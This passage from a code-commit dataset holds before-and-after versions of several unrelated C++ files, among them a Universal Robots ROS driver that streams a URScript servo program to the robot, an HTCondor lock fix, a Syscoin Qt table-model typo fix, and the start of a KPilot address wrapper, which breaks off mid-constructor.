cmd_servo_state = SERVO_IDLE\n      exit_critical\n      if do_extrapolate:\n        textmsg(\"No new setpoint received. Extrapolating.\")\n        q = extrapolate()\n        servoj(q, t=steptime, {{SERVO_J_REPLACE}})\n      elif state == SERVO_RUNNING:\n        servoj(q, t=steptime, {{SERVO_J_REPLACE}})\n      else:\n        textmsg(\"Should not be here\")\n        sync()\n      end\n    end\n    stopj(0.1)\n  end\n  socket_open(\"{{SERVER_IP_REPLACE}}\", {{SERVER_PORT_REPLACE}}, \"reverse_socket\")\n\n  thread_servo = run servoThread()\n  keepalive = -2\n  params_mult = socket_read_binary_integer(6+1, \"reverse_socket\")\n  keepalive = params_mult[7]\n  while keepalive > 0:\n    params_mult = socket_read_binary_integer(6+1, \"reverse_socket\", steptime)\n    if params_mult[0] > 0:\n      keepalive = params_mult[7]\n      q = [params_mult[1] \/ MULT_jointstate, params_mult[2] \/ MULT_jointstate, params_mult[3] \/ MULT_jointstate, params_mult[4] \/ MULT_jointstate, params_mult[5] \/ MULT_jointstate, params_mult[6] \/ MULT_jointstate]\n      set_servo_setpoint(q)\n    else:\n      # TODO: Extrapolation goes here\n      keepalive = keepalive - 1\n    end\n  end\n  sleep(.1)\n  socket_close()\n  kill thread_servo\nend\n)\";\n\nur_driver::UrDriver::UrDriver(const std::string& robot_ip)\n  : servoj_time_(0.008), servoj_gain_(750), servoj_lookahead_time_(0.03)\n{\n  ROS_INFO_STREAM(\"Initializing RTDE client\");\n  rtde_client_.reset(new rtde_interface::RTDEClient(robot_ip, notifier_));\n\n  if (!rtde_client_->init())\n  {\n    throw std::runtime_error(\"initialization went wrong\");  \/\/ TODO: be less harsh\n  }\n\n  rtde_frequency_ = rtde_client_->getMaxFrequency();\n  servoj_time_ = 1.0 \/ rtde_frequency_;\n\n  \/\/ Open Stream to get own IP\n  \/\/ TODO: Open Primary interface to query version and calibration\n  comm::URStream<rtde_interface::PackageHeader> stream(robot_ip, 30001);\n  stream.connect();\n  std::string local_ip = stream.getIP();\n\n  uint32_t reverse_port = 50001;  \/\/ TODO: Make this a parameter\n\n  std::string prog = POSITION_PROGRAM;\n  prog.replace(prog.find(JOINT_STATE_REPLACE), JOINT_STATE_REPLACE.length(), std::to_string(MULT_JOINTSTATE_));\n  std::ostringstream out;\n  out << \"lookahead_time=\" << servoj_lookahead_time_ << \", gain=\" << servoj_gain_;\n  prog.replace(prog.find(SERVO_J_REPLACE), SERVO_J_REPLACE.length(), out.str());\n  prog.replace(prog.find(SERVO_J_REPLACE), SERVO_J_REPLACE.length(), out.str());\n  prog.replace(prog.find(SERVER_IP_REPLACE), SERVER_IP_REPLACE.length(), local_ip);\n  prog.replace(prog.find(SERVER_PORT_REPLACE), SERVER_PORT_REPLACE.length(), std::to_string(reverse_port));\n  size_t len = prog.size();\n  const uint8_t* data = reinterpret_cast<const uint8_t*>(prog.c_str());\n  size_t written;\n\n  if (stream.write(data, len, written))\n  {\n    LOG_INFO(\"Sent program to robot\");\n  }\n  else\n  {\n    LOG_ERROR(\"Could not send program to robot\");\n  }\n\n  reverse_interface_.reset(new comm::ReverseInterface(reverse_port));\n\n  ROS_INFO_STREAM(\"Created reverse interface\");\n\n  rtde_client_->start();  \/\/ TODO: Add extra start method (also to HW-Interface)\n  ROS_INFO_STREAM(\"Initialization done\");\n}\n\nstd::unique_ptr<rtde_interface::DataPackage> ur_driver::UrDriver::getDataPackage()\n{\n  \/\/ TODO: This goes into the rtde_client\n  std::unique_ptr<comm::URPackage<rtde_interface::PackageHeader>> urpackage;\n  uint32_t period_ms = (1.0 \/ rtde_frequency_) * 1000;\n  \/\/ std::chrono::milliseconds timeout(period_ms);\n  std::chrono::milliseconds timeout(100);\n  if (rtde_client_->getDataPackage(urpackage, timeout))\n  {\n    rtde_interface::DataPackage* tmp = dynamic_cast<rtde_interface::DataPackage*>(urpackage.get());\n    if (tmp != nullptr)\n    {\n      urpackage.release();\n      return std::unique_ptr<rtde_interface::DataPackage>(tmp);\n    }\n  }\n  return nullptr;\n}\n\nbool UrDriver::writeJointCommand(const vector6d_t& values)\n{\n  if (reverse_interface_)\n  {\n    reverse_interface_->write(values);\n  }\n  else\n  {\n    return false;\n  }\n\n  return true;\n}\n}  \/\/ namespace ur_driver\n<commit_msg>Use correct package header for temp primary client<commit_after>\/\/ this is for emacs file handling -*- mode: c++; indent-tabs-mode: nil -*-\n\n\/\/ -- BEGIN LICENSE BLOCK ----------------------------------------------\n\/\/ Copyright 2019 FZI Forschungszentrum Informatik\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Many parts from this (Most of the URScript program) comes from the ur_modern_driver\n\/\/ Copyright 2017, 2018 Simon Rasmussen (refactor)\n\/\/ Copyright 2015, 2016 Thomas Timm Andersen (original version)\n\/\/\n\/\/ -- END LICENSE BLOCK ------------------------------------------------\n\n\/\/----------------------------------------------------------------------\n\/*!\\file\n *\n * \\author  Felix Mauch mauch@fzi.de\n * \\date    2019-04-11\n *\n *\/\n\/\/----------------------------------------------------------------------\n\n#include \"ur_rtde_driver\/ur\/ur_driver.h\"\n#include \"ur_rtde_driver\/primary\/package_header.h\"\n#include <memory>\n\nnamespace ur_driver\n{\nstatic const int32_t MULT_JOINTSTATE_ = 1000000;\nstatic const std::string JOINT_STATE_REPLACE(\"{{JOINT_STATE_REPLACE}}\");\nstatic const std::string SERVO_J_REPLACE(\"{{SERVO_J_REPLACE}}\");\nstatic const std::string SERVER_IP_REPLACE(\"{{SERVER_IP_REPLACE}}\");\nstatic const std::string SERVER_PORT_REPLACE(\"{{SERVER_PORT_REPLACE}}\");\nstatic const std::string POSITION_PROGRAM = R\"(\ndef myProg():\n  global steptime = get_steptime()\n  textmsg(\"steptime=\", steptime)\n  MULT_jointstate = {{JOINT_STATE_REPLACE}}\n\n  SERVO_UNINITIALIZED = -1\n  SERVO_IDLE = 0\n  SERVO_RUNNING = 1\n  cmd_servo_state = SERVO_UNINITIALIZED\n  cmd_servo_q = get_actual_joint_positions()\n  cmd_servo_q_last = get_actual_joint_positions()\n  def set_servo_setpoint(q):\n    enter_critical\n    cmd_servo_state = SERVO_RUNNING\n    cmd_servo_q_last = cmd_servo_q\n    cmd_servo_q = q\n    exit_critical\n  end\n\n  def extrapolate():\n    enter_critical\n    diff = [cmd_servo_q[0] - cmd_servo_q_last[0], cmd_servo_q[1] - cmd_servo_q_last[1], cmd_servo_q[2] - cmd_servo_q_last[2], cmd_servo_q[3] - cmd_servo_q_last[3], cmd_servo_q[4] - cmd_servo_q_last[4], cmd_servo_q[5] - cmd_servo_q_last[5]]\n    cmd_servo_q_last = cmd_servo_q\n    cmd_servo_q = [cmd_servo_q[0] + diff[0], cmd_servo_q[1] + diff[1], cmd_servo_q[2] + diff[2], cmd_servo_q[3] + diff[3], cmd_servo_q[4] + diff[4], cmd_servo_q[5] + diff[5]]\n    exit_critical\n\n    return cmd_servo_q\n  end\n\n  thread servoThread():\n    state = SERVO_IDLE\n    while True:\n      enter_critical\n      q = cmd_servo_q\n      do_extrapolate = False\n      if (cmd_servo_state == SERVO_IDLE):\n        do_extrapolate = True\n      end\n      state = cmd_servo_state\n      cmd_servo_state = SERVO_IDLE\n      exit_critical\n      if do_extrapolate:\n        textmsg(\"No new setpoint received. Extrapolating.\")\n        q = extrapolate()\n        servoj(q, t=steptime, {{SERVO_J_REPLACE}})\n      elif state == SERVO_RUNNING:\n        servoj(q, t=steptime, {{SERVO_J_REPLACE}})\n      else:\n        textmsg(\"Should not be here\")\n        sync()\n      end\n    end\n    stopj(0.1)\n  end\n  socket_open(\"{{SERVER_IP_REPLACE}}\", {{SERVER_PORT_REPLACE}}, \"reverse_socket\")\n\n  thread_servo = run servoThread()\n  keepalive = -2\n  params_mult = socket_read_binary_integer(6+1, \"reverse_socket\")\n  keepalive = params_mult[7]\n  while keepalive > 0:\n    params_mult = socket_read_binary_integer(6+1, \"reverse_socket\", steptime)\n    if params_mult[0] > 0:\n      keepalive = params_mult[7]\n      q = [params_mult[1] \/ MULT_jointstate, params_mult[2] \/ MULT_jointstate, params_mult[3] \/ MULT_jointstate, params_mult[4] \/ MULT_jointstate, params_mult[5] \/ MULT_jointstate, params_mult[6] \/ MULT_jointstate]\n      set_servo_setpoint(q)\n    else:\n      # TODO: Extrapolation goes here\n      keepalive = keepalive - 1\n    end\n  end\n  sleep(.1)\n  socket_close()\n  kill thread_servo\nend\n)\";\n\nur_driver::UrDriver::UrDriver(const std::string& robot_ip)\n  : servoj_time_(0.008), servoj_gain_(750), servoj_lookahead_time_(0.03)\n{\n  ROS_INFO_STREAM(\"Initializing RTDE client\");\n  rtde_client_.reset(new rtde_interface::RTDEClient(robot_ip, notifier_));\n\n  if (!rtde_client_->init())\n  {\n    throw std::runtime_error(\"initialization went wrong\");  \/\/ TODO: be less harsh\n  }\n\n  rtde_frequency_ = rtde_client_->getMaxFrequency();\n  servoj_time_ = 1.0 \/ rtde_frequency_;\n\n  \/\/ Open Stream to get own IP\n  \/\/ TODO: Open Primary interface to query version and calibration\n  comm::URStream<primary_interface::PackageHeader> stream(robot_ip, 30001);\n  stream.connect();\n  std::string local_ip = stream.getIP();\n\n  uint32_t reverse_port = 50001;  \/\/ TODO: Make this a parameter\n\n  std::string prog = POSITION_PROGRAM;\n  prog.replace(prog.find(JOINT_STATE_REPLACE), JOINT_STATE_REPLACE.length(), std::to_string(MULT_JOINTSTATE_));\n  std::ostringstream out;\n  out << \"lookahead_time=\" << servoj_lookahead_time_ << \", gain=\" << servoj_gain_;\n  prog.replace(prog.find(SERVO_J_REPLACE), SERVO_J_REPLACE.length(), out.str());\n  prog.replace(prog.find(SERVO_J_REPLACE), SERVO_J_REPLACE.length(), out.str());\n  prog.replace(prog.find(SERVER_IP_REPLACE), SERVER_IP_REPLACE.length(), local_ip);\n  prog.replace(prog.find(SERVER_PORT_REPLACE), SERVER_PORT_REPLACE.length(), std::to_string(reverse_port));\n  size_t len = prog.size();\n  const uint8_t* data = reinterpret_cast<const uint8_t*>(prog.c_str());\n  size_t written;\n\n  if (stream.write(data, len, written))\n  {\n    LOG_INFO(\"Sent program to robot\");\n  }\n  else\n  {\n    LOG_ERROR(\"Could not send program to robot\");\n  }\n\n  reverse_interface_.reset(new comm::ReverseInterface(reverse_port));\n\n  ROS_INFO_STREAM(\"Created reverse interface\");\n\n  rtde_client_->start();  \/\/ TODO: Add extra start method (also to HW-Interface)\n  ROS_INFO_STREAM(\"Initialization done\");\n}\n\nstd::unique_ptr<rtde_interface::DataPackage> ur_driver::UrDriver::getDataPackage()\n{\n  \/\/ TODO: This goes into the rtde_client\n  std::unique_ptr<comm::URPackage<rtde_interface::PackageHeader>> urpackage;\n  uint32_t period_ms = (1.0 \/ rtde_frequency_) * 1000;\n  \/\/ std::chrono::milliseconds timeout(period_ms);\n  std::chrono::milliseconds timeout(100);\n  if (rtde_client_->getDataPackage(urpackage, timeout))\n  {\n    rtde_interface::DataPackage* tmp = dynamic_cast<rtde_interface::DataPackage*>(urpackage.get());\n    if (tmp != nullptr)\n    {\n      urpackage.release();\n      return std::unique_ptr<rtde_interface::DataPackage>(tmp);\n    }\n  }\n  return nullptr;\n}\n\nbool UrDriver::writeJointCommand(const vector6d_t& values)\n{\n  if (reverse_interface_)\n  {\n    reverse_interface_->write(values);\n  }\n  else\n  {\n    return false;\n  }\n\n  return true;\n}\n}  \/\/ namespace ur_driver\n<|endoftext|>"}
{"text":"<commit_before>\n#include <Python.h>\n\n#include \"module_lock.h\"\n\n#include \"classad\/classad.h\"\n\nusing namespace condor;\n\n#if !defined(WIN32)\npthread_mutex_t ModuleLock::m_mutex = PTHREAD_MUTEX_INITIALIZER;\n\nModuleLock::ModuleLock()\n    : m_release_gil(!classad::ClassAdGetExpressionCaching()),\n      m_owned(false), m_save(0)\n{\n    acquire();\n}\n\nvoid\nModuleLock::acquire()\n{\n    if (m_release_gil && !m_owned)\n    {\n        m_save = PyEval_SaveThread();\n        pthread_mutex_lock(&m_mutex);\n        m_owned = true;\n    }\n}\n\nModuleLock::~ModuleLock()\n{\n    release();\n}\n\nvoid\nModuleLock::release()\n{\n    if (m_release_gil && m_owned)\n    {\n        pthread_mutex_unlock(&m_mutex);\n        PyEval_RestoreThread(m_save);\n    }\n}\n#else\nModuleLock::ModuleLock()\n{\n    acquire();\n}\n\nvoid\nModuleLock::acquire()\n{\n\n}\n\nModuleLock::~ModuleLock()\n{\n    release();\n}\n\nvoid\nModuleLock::release()\n{\n}\n#endif\n<commit_msg>Reset lock ownership on release. #5000<commit_after>\n#include <Python.h>\n\n#include \"module_lock.h\"\n\n#include \"classad\/classad.h\"\n\nusing namespace condor;\n\n#if !defined(WIN32)\npthread_mutex_t ModuleLock::m_mutex = PTHREAD_MUTEX_INITIALIZER;\n\nModuleLock::ModuleLock()\n    : m_release_gil(!classad::ClassAdGetExpressionCaching()),\n      m_owned(false), m_save(0)\n{\n    acquire();\n}\n\nvoid\nModuleLock::acquire()\n{\n    if (m_release_gil && !m_owned)\n    {\n        m_save = PyEval_SaveThread();\n        pthread_mutex_lock(&m_mutex);\n        m_owned = true;\n    }\n}\n\nModuleLock::~ModuleLock()\n{\n    release();\n}\n\nvoid\nModuleLock::release()\n{\n    if (m_release_gil && m_owned)\n    {\n        pthread_mutex_unlock(&m_mutex);\n        PyEval_RestoreThread(m_save);\n        m_owned = false;\n    }\n}\n#else\nModuleLock::ModuleLock()\n{\n    acquire();\n}\n\nvoid\nModuleLock::acquire()\n{\n\n}\n\nModuleLock::~ModuleLock()\n{\n    release();\n}\n\nvoid\nModuleLock::release()\n{\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"offerwhitelisttablemodel.h\"\n\n#include \"guiutil.h\"\n#include \"walletmodel.h\"\n\n#include \"wallet\/wallet.h\"\n#include \"base58.h\"\n\n#include <QFont>\nusing namespace std;\n\nstruct OfferWhitelistTableEntry\n{\n\n    QString alias;\n\tQString expires;\n\tQString discount;\t\n\n    OfferWhitelistTableEntry() {}\n    OfferWhitelistTableEntry(const QString &alias, const QString &expires,const QString &discount):\n        alias(alias), expires(expires),discount(discount) {}\n};\n\nstruct OfferWhitelistTableEntryLessThan\n{\n    bool operator()(const OfferWhitelistTableEntry &a, const OfferWhitelistTableEntry &b) const\n    {\n        return a.alias < b.alias;\n    }\n    bool operator()(const OfferWhitelistTableEntry &a, const QString &b) const\n    {\n        return a.alias < b;\n    }\n    bool operator()(const QString &a, const OfferWhitelistTableEntry &b) const\n    {\n        return a < b.alias;\n    }\n};\n\n\/\/ Private implementation\nclass OfferWhitelistTablePriv\n{\npublic:\n    QList<OfferWhitelistTableEntry> cachedEntryTable;\n    OfferWhitelistTableModel *parent;\n\n    OfferWhitelistTablePriv(OfferWhitelistTableModel *parent):\n        parent(parent) {}\n\n\n    void updateEntry(const QString &alias, const QString &expires,const QString &discount, int status)\n    {\n\t\tif(!parent)\n\t\t{\n\t\t\treturn;\n\t\t}\n        \/\/ Find offer \/ value in model\n        QList<OfferWhitelistTableEntry>::iterator lower = qLowerBound(\n            cachedEntryTable.begin(), cachedEntryTable.end(), alias, OfferWhitelistTableEntryLessThan());\n        QList<OfferWhitelistTableEntry>::iterator upper = qUpperBound(\n            cachedEntryTable.begin(), cachedEntryTable.end(), alias, OfferWhitelistTableEntryLessThan());\n        int lowerIndex = (lower - cachedEntryTable.begin());\n        int upperIndex = (upper - cachedEntryTable.begin());\n        bool inModel = (lower != upper);\n\n        switch(status)\n        {\n        case CT_NEW:\n            if(inModel)\n            {\n                break;\n            }\n            parent->beginInsertRows(QModelIndex(), lowerIndex, lowerIndex);\n            cachedEntryTable.insert(lowerIndex, OfferWhitelistTableEntry(alias, expires, discount));\n            parent->endInsertRows();\n            break;\n        case CT_UPDATED:\n            if(!inModel)\n            {\n                break;\n            }\n\t\t\tlower->alias = alias;\n\t\t\tlower->expires = expires;\n\t\t\tlower->discount = discount;\n            parent->emitDataChanged(lowerIndex);\n            break;\n        case CT_DELETED:\n            if(!inModel)\n            {\n                break;\n            }\n            parent->beginRemoveRows(QModelIndex(), lowerIndex, upperIndex-1);\n            cachedEntryTable.erase(lower, upper);\n            parent->endRemoveRows();\n            break;\n        }\n    }\n\n    int size()\n    {\n        return cachedEntryTable.size();\n    }\n\n    OfferWhitelistTableEntry *index(int idx)\n    {\n        if(idx >= 0 && idx < cachedEntryTable.size())\n        {\n            return &cachedEntryTable[idx];\n        }\n        else\n        {\n            return 0;\n        }\n    }\n};\n\nOfferWhitelistTableModel::OfferWhitelistTableModel(WalletModel *parent) :\n    QAbstractTableModel(parent)\n{\n    columns << tr(\"Alias\") << << tr(\"Discount\") << tr(\"Expires In\");\n    priv = new OfferWhitelistTablePriv(this);\n\n}\n\nOfferWhitelistTableModel::~OfferWhitelistTableModel()\n{\n    delete priv;\n}\nint OfferWhitelistTableModel::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return priv->size();\n}\n\nint OfferWhitelistTableModel::columnCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return columns.length();\n}\n\nQVariant OfferWhitelistTableModel::data(const QModelIndex &index, int role) const\n{\n    if(!index.isValid())\n        return QVariant();\n\n    OfferWhitelistTableEntry *rec = static_cast<OfferWhitelistTableEntry*>(index.internalPointer());\n\n    if(role == Qt::DisplayRole || role == Qt::EditRole)\n    {\n        switch(index.column())\n        {\n        case Alias:\n            return rec->alias;\n        case Discount:\n            return rec->discount;\n        case Expires:\n            return rec->expires;\n        }\n    }\n    else if (role == AliasRole)\n    {\n        return rec->alias;\n    }\n    return QVariant();\n}\n\nbool OfferWhitelistTableModel::setData(const QModelIndex &index, const QVariant &value, int role)\n{\n    if(!index.isValid())\n        return false;\n    OfferWhitelistTableEntry *rec = static_cast<OfferWhitelistTableEntry*>(index.internalPointer());\n\n    editStatus = OK;\n\n    if(role == Qt::EditRole)\n    {\n        switch(index.column())\n        {\n        case Alias:\n            \/\/ Do nothing, if old value == new value\n            if(rec->alias == value.toString())\n            {\n                editStatus = NO_CHANGES;\n                return false;\n            }\n             \/\/ Check for duplicates\n            else if(lookupEntry(rec->alias) != -1)\n            {\n                editStatus = DUPLICATE_ENTRY;\n                return false;\n            }         \n            break;\n        case Discount:\n            \/\/ Do nothing, if old value == new value\n            if(rec->discount == value.toString())\n            {\n                editStatus = NO_CHANGES;\n                return false;\n            }\n           \n            break;\n       case Expires:\n            \/\/ Do nothing, if old value == new value\n            if(rec->expires == value.toString())\n            {\n                editStatus = NO_CHANGES;\n                return false;\n            }\n            break;\n        return true;\n    }\n    return false;\n}\n\nQVariant OfferWhitelistTableModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n    if(orientation == Qt::Horizontal)\n    {\n        if(role == Qt::DisplayRole)\n        {\n            return columns[section];\n        }\n    }\n    return QVariant();\n}\n\nQt::ItemFlags OfferWhitelistTableModel::flags(const QModelIndex &index) const\n{\n    if(!index.isValid())\n        return 0;\n    Qt::ItemFlags retval = Qt::ItemIsSelectable | Qt::ItemIsEnabled;\n    return retval;\n}\n\nQModelIndex OfferWhitelistTableModel::index(int row, int column, const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    OfferWhitelistTableEntry *data = priv->index(row);\n    if(data)\n    {\n        return createIndex(row, column, priv->index(row));\n    }\n    else\n    {\n        return QModelIndex();\n    }\n}\n\nvoid OfferWhitelistTableModel::updateEntry(const QString &alias, const QString &expires,const QString &discount, int status)\n{\n    priv->updateEntry(alias, expires, discount, status);\n}\n\nQString OfferWhitelistTableModel::addRow(const QString &alias, const QString &expires,const QString &discount)\n{\n    std::string strAlias = alias.toStdString();\n    editStatus = OK;\n    \/\/ Check for duplicate\n    {\n        if(lookupEntry(alias) != -1)\n        {\n            editStatus = DUPLICATE_ENTRY;\n            return QString();\n        }\n    }\n\n    \/\/ Add entry\n\n    return QString::fromStdString(strAlias);\n}\nvoid OfferWhitelistTableModel::clear()\n{\n\tbeginResetModel();\n    priv->cachedEntryTable.clear();\n\tendResetModel();\n}\n\n\nint OfferWhitelistTableModel::lookupEntry(const QString &alias) const\n{\n    QModelIndexList lst = match(index(0, Alias, QModelIndex()),\n                                Qt::EditRole, alias, 1, Qt::MatchExactly);\n    if(lst.isEmpty())\n    {\n        return -1;\n    }\n    else\n    {\n        return lst.at(0).row();\n    }\n}\n\nvoid OfferWhitelistTableModel::emitDataChanged(int idx)\n{\n    Q_EMIT dataChanged(index(idx, 0, QModelIndex()), index(idx, columns.length()-1, QModelIndex()));\n}\n<commit_msg>typo<commit_after>#include \"offerwhitelisttablemodel.h\"\n\n#include \"guiutil.h\"\n#include \"walletmodel.h\"\n\n#include \"wallet\/wallet.h\"\n#include \"base58.h\"\n\n#include <QFont>\nusing namespace std;\n\nstruct OfferWhitelistTableEntry\n{\n\n    QString alias;\n\tQString expires;\n\tQString discount;\t\n\n    OfferWhitelistTableEntry() {}\n    OfferWhitelistTableEntry(const QString &alias, const QString &expires,const QString &discount):\n        alias(alias), expires(expires),discount(discount) {}\n};\n\nstruct OfferWhitelistTableEntryLessThan\n{\n    bool operator()(const OfferWhitelistTableEntry &a, const OfferWhitelistTableEntry &b) const\n    {\n        return a.alias < b.alias;\n    }\n    bool operator()(const OfferWhitelistTableEntry &a, const QString &b) const\n    {\n        return a.alias < b;\n    }\n    bool operator()(const QString &a, const OfferWhitelistTableEntry &b) const\n    {\n        return a < b.alias;\n    }\n};\n\n\/\/ Private implementation\nclass OfferWhitelistTablePriv\n{\npublic:\n    QList<OfferWhitelistTableEntry> cachedEntryTable;\n    OfferWhitelistTableModel *parent;\n\n    OfferWhitelistTablePriv(OfferWhitelistTableModel *parent):\n        parent(parent) {}\n\n\n    void updateEntry(const QString &alias, const QString &expires,const QString &discount, int status)\n    {\n\t\tif(!parent)\n\t\t{\n\t\t\treturn;\n\t\t}\n        \/\/ Find offer \/ value in model\n        QList<OfferWhitelistTableEntry>::iterator lower = qLowerBound(\n            cachedEntryTable.begin(), cachedEntryTable.end(), alias, OfferWhitelistTableEntryLessThan());\n        QList<OfferWhitelistTableEntry>::iterator upper = qUpperBound(\n            cachedEntryTable.begin(), cachedEntryTable.end(), alias, OfferWhitelistTableEntryLessThan());\n        int lowerIndex = (lower - cachedEntryTable.begin());\n        int upperIndex = (upper - cachedEntryTable.begin());\n        bool inModel = (lower != upper);\n\n        switch(status)\n        {\n        case CT_NEW:\n            if(inModel)\n            {\n                break;\n            }\n            parent->beginInsertRows(QModelIndex(), lowerIndex, lowerIndex);\n            cachedEntryTable.insert(lowerIndex, OfferWhitelistTableEntry(alias, expires, discount));\n            parent->endInsertRows();\n            break;\n        case CT_UPDATED:\n            if(!inModel)\n            {\n                break;\n            }\n\t\t\tlower->alias = alias;\n\t\t\tlower->expires = expires;\n\t\t\tlower->discount = discount;\n            parent->emitDataChanged(lowerIndex);\n            break;\n        case CT_DELETED:\n            if(!inModel)\n            {\n                break;\n            }\n            parent->beginRemoveRows(QModelIndex(), lowerIndex, upperIndex-1);\n            cachedEntryTable.erase(lower, upper);\n            parent->endRemoveRows();\n            break;\n        }\n    }\n\n    int size()\n    {\n        return cachedEntryTable.size();\n    }\n\n    OfferWhitelistTableEntry *index(int idx)\n    {\n        if(idx >= 0 && idx < cachedEntryTable.size())\n        {\n            return &cachedEntryTable[idx];\n        }\n        else\n        {\n            return 0;\n        }\n    }\n};\n\nOfferWhitelistTableModel::OfferWhitelistTableModel(WalletModel *parent) :\n    QAbstractTableModel(parent)\n{\n    columns << tr(\"Alias\") << tr(\"Discount\") << tr(\"Expires In\");\n    priv = new OfferWhitelistTablePriv(this);\n\n}\n\nOfferWhitelistTableModel::~OfferWhitelistTableModel()\n{\n    delete priv;\n}\nint OfferWhitelistTableModel::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return priv->size();\n}\n\nint OfferWhitelistTableModel::columnCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return columns.length();\n}\n\nQVariant OfferWhitelistTableModel::data(const QModelIndex &index, int role) const\n{\n    if(!index.isValid())\n        return QVariant();\n\n    OfferWhitelistTableEntry *rec = static_cast<OfferWhitelistTableEntry*>(index.internalPointer());\n\n    if(role == Qt::DisplayRole || role == Qt::EditRole)\n    {\n        switch(index.column())\n        {\n        case Alias:\n            return rec->alias;\n        case Discount:\n            return rec->discount;\n        case Expires:\n            return rec->expires;\n        }\n    }\n    else if (role == AliasRole)\n    {\n        return rec->alias;\n    }\n    return QVariant();\n}\n\nbool OfferWhitelistTableModel::setData(const QModelIndex &index, const QVariant &value, int role)\n{\n    if(!index.isValid())\n        return false;\n    OfferWhitelistTableEntry *rec = static_cast<OfferWhitelistTableEntry*>(index.internalPointer());\n\n    editStatus = OK;\n\n    if(role == Qt::EditRole)\n    {\n        switch(index.column())\n        {\n        case Alias:\n            \/\/ Do nothing, if old value == new value\n            if(rec->alias == value.toString())\n            {\n                editStatus = NO_CHANGES;\n                return false;\n            }\n             \/\/ Check for duplicates\n            else if(lookupEntry(rec->alias) != -1)\n            {\n                editStatus = DUPLICATE_ENTRY;\n                return false;\n            }         \n            break;\n        case Discount:\n            \/\/ Do nothing, if old value == new value\n            if(rec->discount == value.toString())\n            {\n                editStatus = NO_CHANGES;\n                return false;\n            }\n           \n            break;\n       case Expires:\n            \/\/ Do nothing, if old value == new value\n            if(rec->expires == value.toString())\n            {\n                editStatus = NO_CHANGES;\n                return false;\n            }\n            break;\n        return true;\n\t\t}\n    }\n    return false;\n}\n\nQVariant OfferWhitelistTableModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n    if(orientation == Qt::Horizontal)\n    {\n        if(role == Qt::DisplayRole)\n        {\n            return columns[section];\n        }\n    }\n    return QVariant();\n}\n\nQt::ItemFlags OfferWhitelistTableModel::flags(const QModelIndex &index) const\n{\n    if(!index.isValid())\n        return 0;\n    Qt::ItemFlags retval = Qt::ItemIsSelectable | Qt::ItemIsEnabled;\n    return retval;\n}\n\nQModelIndex OfferWhitelistTableModel::index(int row, int column, const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    OfferWhitelistTableEntry *data = priv->index(row);\n    if(data)\n    {\n        return createIndex(row, column, priv->index(row));\n    }\n    else\n    {\n        return QModelIndex();\n    }\n}\n\nvoid OfferWhitelistTableModel::updateEntry(const QString &alias, const QString &expires,const QString &discount, int status)\n{\n    priv->updateEntry(alias, expires, discount, status);\n}\n\nQString OfferWhitelistTableModel::addRow(const QString &alias, const QString &expires,const QString &discount)\n{\n    std::string strAlias = alias.toStdString();\n    editStatus = OK;\n    \/\/ Check for duplicate\n    {\n        if(lookupEntry(alias) != -1)\n        {\n            editStatus = DUPLICATE_ENTRY;\n            return QString();\n        }\n    }\n\n    \/\/ Add entry\n\n    return QString::fromStdString(strAlias);\n}\nvoid OfferWhitelistTableModel::clear()\n{\n\tbeginResetModel();\n    priv->cachedEntryTable.clear();\n\tendResetModel();\n}\n\n\nint OfferWhitelistTableModel::lookupEntry(const QString &alias) const\n{\n    QModelIndexList lst = match(index(0, Alias, QModelIndex()),\n                                Qt::EditRole, alias, 1, Qt::MatchExactly);\n    if(lst.isEmpty())\n    {\n        return -1;\n    }\n    else\n    {\n        return lst.at(0).row();\n    }\n}\n\nvoid OfferWhitelistTableModel::emitDataChanged(int idx)\n{\n    Q_EMIT dataChanged(index(idx, 0, QModelIndex()), index(idx, columns.length()-1, QModelIndex()));\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixed converseion from double to float.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* pilotAddress.cc\t\t\tKPilot\n**\n** Copyright (C) 1998-2001 by Dan Pilone\n**\n** This is a C++ wrapper for the pilot's address database structures.\n*\/\n\n\/*\n** This program is free software; you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation; either version 2 of the License, or\n** (at your option) any later version.\n**\n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n** GNU General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program in a file called COPYING; if not, write to\n** the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, \n** MA 02139, USA.\n*\/\n\n\/*\n** Bug reports and questions can be sent to adridg@cs.kun.nl\n*\/\n\n\nstatic const char *pilotadress_id=\"$Id$\";\n\n#include \"options.h\"\n\n#include <stdlib.h>\n#include <assert.h>\n\n#ifndef _KPILOT_PILOTADDRESS_H\n#include \"pilotAddress.h\"\n#endif\n\n\nconst int PilotAddress::APP_BUFFER_SIZE = 0xffff;\n\nPilotAddress::PilotAddress(struct AddressAppInfo &appInfo,\n\t\t\t   PilotRecord* rec)\n      : PilotAppCategory(rec), fAppInfo(appInfo), fAddressInfo()\n    {\n    unpack_Address(&fAddressInfo, (unsigned char*)rec->getData(), rec->getLen());\n    (void)pilotadress_id;\n    }\n\nPilotAddress::PilotAddress(struct AddressAppInfo &appInfo) :\n      PilotAppCategory(), fAppInfo(appInfo)\n    {\n    reset();\n    }\n\nPilotAddress::PilotAddress(const PilotAddress &copyFrom) :\n      PilotAppCategory(copyFrom), fAppInfo(copyFrom.fAppInfo),\n      